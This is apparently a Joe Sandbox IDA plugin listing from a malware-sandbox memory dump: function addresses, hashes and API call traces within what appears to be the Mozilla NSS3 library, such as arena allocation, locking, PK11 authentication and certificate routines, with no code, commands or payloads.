Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
